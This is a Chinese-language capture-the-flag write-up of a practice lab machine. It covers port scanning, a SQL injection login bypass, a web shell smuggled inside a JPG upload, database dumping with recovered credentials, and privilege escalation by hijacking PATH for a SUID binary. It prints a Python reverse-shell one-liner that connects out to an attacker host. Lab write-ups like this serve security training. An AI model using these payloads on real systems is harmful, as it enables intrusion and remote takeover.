0x00 信息收集
nmap -Pn -p- -T4 --min-rate=1000 10.10.10.185
nmap -Pn -sCV -p 22,80 10.10.10.185
通过80端口查看页面,发现有可以登录的地方,同时对路径进行爆破。
经过路径爆破发现相关页面都需要登录
唯一的突破口在登录界面,所以猜测可能存在SQL注入。
经测试正常输入账号密码会提示“Wrong Username or Password”,加入’后则不再进行进行提示,确定存在SQL注入。
最终使用admin/‘=’ 成功登录
0x01 漏洞利用
文件上传的地方考虑上传漏洞
进行上传测试,php后缀的会提示文件格式问题,通过修改文件格式后缀等方式会提示:
猜测可能对文件的内容进行了校验,因此先上传jpg文件,保留格式后面粘贴shell的代码。
提示文件成功上传
访问页面结果直接得到shell,因此是存在解析漏洞的
进入/home目录下的theseus目录中,无法读取user.txt文件,因此需要进一步的权限提升。
通常下先查看网站配置下的文件,发现了一组账号密码
结合22端口开放,尝试ssh登录,提示只允许公钥;使用su,提示认证失败,因此该组账号密码不正确。
结合到之前SQL注入,尝试查看数据库中是否有账号密码信息。
想连接进数据库进行查看,但是没有安装mysql
使用google搜索发现一个工具mysqldump,而机器中正好存在该工具
得到账号密码
https://www.cnblogs.com/chenmh/p/5300370.html
mysqldump -utheseus -piamkingtheseus --all-databases > data.sql
得到账号密码 admin/Th3s3usW4sK1ng
成功获得权限
0x02 权限提升
find / -perm -4000 -type f 2>/dev/null
发现以恶个可疑文件sysinfo
查看一下权限和内容
因此通过伪造cat文件可获得root权限
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
本地创建一个cat文件上传至靶机
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4433));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
chmod 755 cat
export PATH=/tmp:$PATH
sysinfo